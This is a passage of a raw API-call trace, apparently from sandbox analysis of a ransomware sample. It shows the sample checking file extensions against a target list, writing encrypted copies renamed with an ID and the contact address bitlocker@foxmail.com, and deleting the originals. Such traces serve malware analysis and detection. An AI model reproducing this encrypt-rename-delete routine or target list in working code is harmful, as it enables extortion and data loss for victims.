(lpString=".ppt") returned 4 [0056.077] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0056.077] lstrlenW (lpString=".zip") returned 4 [0056.077] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.077] lstrlenW (lpString=".rar") returned 4 [0056.077] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.077] lstrlenW (lpString=".bz2") returned 4 [0056.077] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.077] lstrlenW (lpString=".7z") returned 3 [0056.077] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0056.077] lstrlenW (lpString=".dbf") returned 4 [0056.077] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0056.077] lstrlenW (lpString=".1cd") returned 4 [0056.077] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0056.077] lstrlenW (lpString=".jpg") returned 4 [0056.077] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.077] lstrcmpiW (lpString1=".config", lpString2=".wiki") returned -1 [0056.077] lstrlenW (lpString="VSTOInstaller.config") returned 20 [0056.077] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0056.270] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=716) returned 1 [0056.270] CloseHandle (hObject=0x180) returned 1 [0056.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config")) returned 0x20 [0056.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0056.271] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0056.271] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.271] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.271] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.271] GetLastError () returned 0x0 [0056.271] ReadFile (in: hFile=0x180, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x2cc, lpOverlapped=0x0) returned 1 [0056.273] WriteFile (in: hFile=0x214, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x2d0, lpOverlapped=0x0) returned 1 [0056.274] ReadFile (in: hFile=0x180, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.274] WriteFile (in: hFile=0x214, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0056.274] SetEndOfFile (hFile=0x214) returned 1 [0056.274] CloseHandle (hObject=0x214) returned 1 [0056.274] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.274] SetEndOfFile (hFile=0x180) returned 1 [0056.275] CloseHandle (hObject=0x180) returned 1 [0056.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0056.275] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config")) returned 1 [0056.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0056.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0056.276] lstrlenW (lpString=".doc") returned 4 [0056.276] lstrcmpiW (lpString1=".doc", lpString2="nfig") returned -1 [0056.276] lstrlenW (lpString=".docx") returned 5 [0056.276] lstrcmpiW (lpString1=".docx", lpString2="onfig") returned -1 [0056.276] lstrlenW (lpString=".pdf") returned 4 [0056.276] lstrcmpiW (lpString1=".pdf", lpString2="nfig") returned -1 [0056.276] lstrlenW (lpString=".xls") returned 4 [0056.276] lstrcmpiW (lpString1=".xls", lpString2="nfig") returned -1 [0056.276] lstrlenW (lpString=".xlsx") returned 5 [0056.276] lstrcmpiW (lpString1=".xlsx", lpString2="onfig") returned -1 [0056.276] lstrlenW (lpString=".ppt") returned 4 [0056.276] lstrcmpiW (lpString1=".ppt", lpString2="nfig") returned -1 [0056.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0056.276] lstrlenW (lpString=".zip") returned 4 [0056.276] lstrcmpiW (lpString1=".zip", lpString2="nfig") returned -1 [0056.276] lstrlenW (lpString=".rar") returned 4 [0056.276] lstrcmpiW (lpString1=".rar", lpString2="nfig") returned -1 [0056.276] lstrlenW (lpString=".bz2") returned 4 [0056.276] lstrcmpiW (lpString1=".bz2", lpString2="nfig") returned -1 [0056.276] lstrlenW (lpString=".7z") returned 3 [0056.276] lstrcmpiW (lpString1=".7z", lpString2="fig") returned -1 [0056.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0056.276] lstrlenW (lpString=".dbf") returned 4 [0056.276] lstrcmpiW (lpString1=".dbf", lpString2="nfig") returned -1 [0056.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0056.276] lstrlenW (lpString=".1cd") returned 4 [0056.276] lstrcmpiW (lpString1=".1cd", lpString2="nfig") returned -1 [0056.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0056.276] lstrlenW (lpString=".jpg") returned 4 [0056.276] lstrcmpiW (lpString1=".jpg", lpString2="nfig") returned -1 [0056.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0056.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0056.277] lstrlenW (lpString=".doc") returned 4 [0056.277] lstrcmpiW (lpString1=".doc", lpString2="nfig") returned -1 [0056.277] lstrlenW (lpString=".docx") returned 5 [0056.277] lstrcmpiW (lpString1=".docx", lpString2="onfig") returned -1 [0056.277] lstrlenW (lpString=".pdf") returned 4 [0056.277] lstrcmpiW (lpString1=".pdf", lpString2="nfig") returned -1 [0056.277] lstrlenW (lpString=".xls") returned 4 [0056.277] lstrcmpiW (lpString1=".xls", lpString2="nfig") returned -1 [0056.277] lstrlenW (lpString=".xlsx") returned 5 [0056.277] lstrcmpiW (lpString1=".xlsx", lpString2="onfig") returned -1 [0056.277] lstrlenW (lpString=".ppt") returned 4 [0056.277] lstrcmpiW (lpString1=".ppt", lpString2="nfig") returned -1 [0056.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0056.277] lstrlenW (lpString=".zip") returned 4 [0056.277] lstrcmpiW (lpString1=".zip", lpString2="nfig") returned -1 [0056.277] lstrlenW (lpString=".rar") returned 4 [0056.277] lstrcmpiW (lpString1=".rar", lpString2="nfig") returned -1 [0056.277] lstrlenW (lpString=".bz2") returned 4 [0056.277] lstrcmpiW (lpString1=".bz2", lpString2="nfig") returned -1 [0056.277] lstrlenW (lpString=".7z") returned 3 [0056.277] lstrcmpiW (lpString1=".7z", lpString2="fig") returned -1 [0056.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0056.277] lstrlenW (lpString=".dbf") returned 4 [0056.277] lstrcmpiW (lpString1=".dbf", lpString2="nfig") returned -1 [0056.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0056.277] lstrlenW (lpString=".1cd") returned 4 [0056.277] lstrcmpiW (lpString1=".1cd", lpString2="nfig") returned -1 [0056.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0056.277] lstrlenW (lpString=".jpg") returned 4 [0056.277] lstrcmpiW (lpString1=".jpg", lpString2="nfig") returned -1 [0056.278] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0056.278] lstrlenW (lpString="16to9Squareframe_SelectionSubpicture.png") returned 40 [0056.278] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0056.492] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=3286) returned 1 [0056.492] CloseHandle (hObject=0x224) returned 1 [0056.492] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png")) returned 0x20 [0056.492] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0056.493] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.493] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0056.493] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0056.493] lstrlenW (lpString=".doc") returned 4 [0056.493] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0056.493] lstrlenW (lpString=".docx") returned 5 [0056.493] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0056.493] lstrlenW (lpString=".pdf") returned 4 [0056.493] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0056.493] lstrlenW (lpString=".xls") returned 4 [0056.493] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0056.493] lstrlenW (lpString=".xlsx") returned 5 [0056.493] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0056.493] lstrlenW (lpString=".ppt") returned 4 [0056.493] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0056.493] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0056.493] lstrlenW (lpString=".zip") returned 4 [0056.493] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0056.493] lstrlenW (lpString=".rar") returned 4 [0056.493] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0056.493] lstrlenW (lpString=".bz2") returned 4 [0056.493] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0056.493] lstrlenW (lpString=".7z") returned 3 [0056.493] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0056.493] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0056.493] lstrlenW (lpString=".dbf") returned 4 [0056.493] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0056.493] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0056.493] lstrlenW (lpString=".1cd") returned 4 [0056.493] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0056.493] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0056.493] lstrlenW (lpString=".jpg") returned 4 [0056.494] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0056.494] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0056.494] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0056.494] lstrlenW (lpString=".doc") returned 4 [0056.494] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0056.494] lstrlenW (lpString=".docx") returned 5 [0056.494] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0056.494] lstrlenW (lpString=".pdf") returned 4 [0056.494] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0056.494] lstrlenW (lpString=".xls") returned 4 [0056.494] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0056.494] lstrlenW (lpString=".xlsx") returned 5 [0056.494] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0056.494] lstrlenW (lpString=".ppt") returned 4 [0056.494] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0056.494] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0056.494] lstrlenW (lpString=".zip") returned 4 [0056.494] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0056.494] lstrlenW (lpString=".rar") returned 4 [0056.494] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0056.494] lstrlenW (lpString=".bz2") returned 4 [0056.494] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0056.494] lstrlenW (lpString=".7z") returned 3 [0056.494] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0056.494] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0056.494] lstrlenW (lpString=".dbf") returned 4 [0056.494] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0056.494] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0056.494] lstrlenW (lpString=".1cd") returned 4 [0056.494] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0056.494] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0056.494] lstrlenW (lpString=".jpg") returned 4 [0056.494] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0056.495] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0056.495] lstrlenW (lpString="full.png") returned 8 [0056.495] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0057.164] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=26516) returned 1 [0057.164] CloseHandle (hObject=0x21c) returned 1 [0057.164] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png")) returned 0x20 [0057.164] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0057.164] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.164] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned 57 [0057.164] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned 57 [0057.164] lstrlenW (lpString=".doc") returned 4 [0057.164] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0057.164] lstrlenW (lpString=".docx") returned 5 [0057.164] lstrcmpiW (lpString1=".docx", lpString2="l.png") returned -1 [0057.164] lstrlenW (lpString=".pdf") returned 4 [0057.164] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0057.164] lstrlenW (lpString=".xls") returned 4 [0057.164] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0057.164] lstrlenW (lpString=".xlsx") returned 5 [0057.164] lstrcmpiW (lpString1=".xlsx", lpString2="l.png") returned -1 [0057.164] lstrlenW (lpString=".ppt") returned 4 [0057.164] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0057.164] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned 57 [0057.164] lstrlenW (lpString=".zip") returned 4 [0057.165] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0057.165] lstrlenW (lpString=".rar") returned 4 [0057.165] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0057.165] lstrlenW (lpString=".bz2") returned 4 [0057.165] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0057.165] lstrlenW (lpString=".7z") returned 3 [0057.165] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0057.165] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned 57 [0057.165] lstrlenW (lpString=".dbf") returned 4 [0057.165] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0057.165] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned 57 [0057.165] lstrlenW (lpString=".1cd") returned 4 [0057.165] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0057.165] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned 57 [0057.165] lstrlenW (lpString=".jpg") returned 4 [0057.165] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0057.165] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned 57 [0057.165] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned 57 [0057.165] lstrlenW (lpString=".doc") returned 4 [0057.165] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0057.165] lstrlenW (lpString=".docx") returned 5 [0057.165] lstrcmpiW (lpString1=".docx", lpString2="l.png") returned -1 [0057.165] lstrlenW (lpString=".pdf") returned 4 [0057.165] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0057.165] lstrlenW (lpString=".xls") returned 4 [0057.165] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0057.165] lstrlenW (lpString=".xlsx") returned 5 [0057.165] lstrcmpiW (lpString1=".xlsx", lpString2="l.png") returned -1 [0057.165] lstrlenW (lpString=".ppt") returned 4 [0057.165] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0057.165] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned 57 [0057.165] lstrlenW (lpString=".zip") returned 4 [0057.165] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0057.165] lstrlenW (lpString=".rar") returned 4 [0057.165] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0057.166] lstrlenW (lpString=".bz2") returned 4 [0057.166] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0057.166] lstrlenW (lpString=".7z") returned 3 [0057.166] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0057.166] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned 57 [0057.166] lstrlenW (lpString=".dbf") returned 4 [0057.166] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0057.166] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned 57 [0057.166] lstrlenW (lpString=".1cd") returned 4 [0057.166] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0057.166] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned 57 [0057.166] lstrlenW (lpString=".jpg") returned 4 [0057.166] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0057.166] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0057.166] lstrlenW (lpString="NavigationLeft_SelectionSubpicture.png") returned 38 [0057.166] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0057.168] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=3130) returned 1 [0057.168] CloseHandle (hObject=0x21c) returned 1 [0057.168] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png")) returned 0x20 [0057.168] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0057.168] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.168] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned 87 [0057.169] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned 87 [0057.169] lstrlenW (lpString=".doc") returned 4 [0057.169] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0057.169] lstrlenW (lpString=".docx") returned 5 [0057.169] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0057.169] lstrlenW (lpString=".pdf") returned 4 [0057.169] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0057.169] lstrlenW (lpString=".xls") returned 4 [0057.169] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0057.169] lstrlenW (lpString=".xlsx") returned 5 [0057.169] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0057.169] lstrlenW (lpString=".ppt") returned 4 [0057.169] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0057.169] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned 87 [0057.169] lstrlenW (lpString=".zip") returned 4 [0057.169] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0057.169] lstrlenW (lpString=".rar") returned 4 [0057.169] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0057.169] lstrlenW (lpString=".bz2") returned 4 [0057.169] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0057.169] lstrlenW (lpString=".7z") returned 3 [0057.169] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0057.169] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned 87 [0057.169] lstrlenW (lpString=".dbf") returned 4 [0057.169] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0057.169] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned 87 [0057.169] lstrlenW (lpString=".1cd") returned 4 [0057.169] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0057.169] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned 87 [0057.169] lstrlenW (lpString=".jpg") returned 4 [0057.169] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0057.169] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned 87 [0057.169] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned 87 [0057.169] lstrlenW (lpString=".doc") returned 4 [0057.170] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0057.170] lstrlenW (lpString=".docx") returned 5 [0057.170] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0057.170] lstrlenW (lpString=".pdf") returned 4 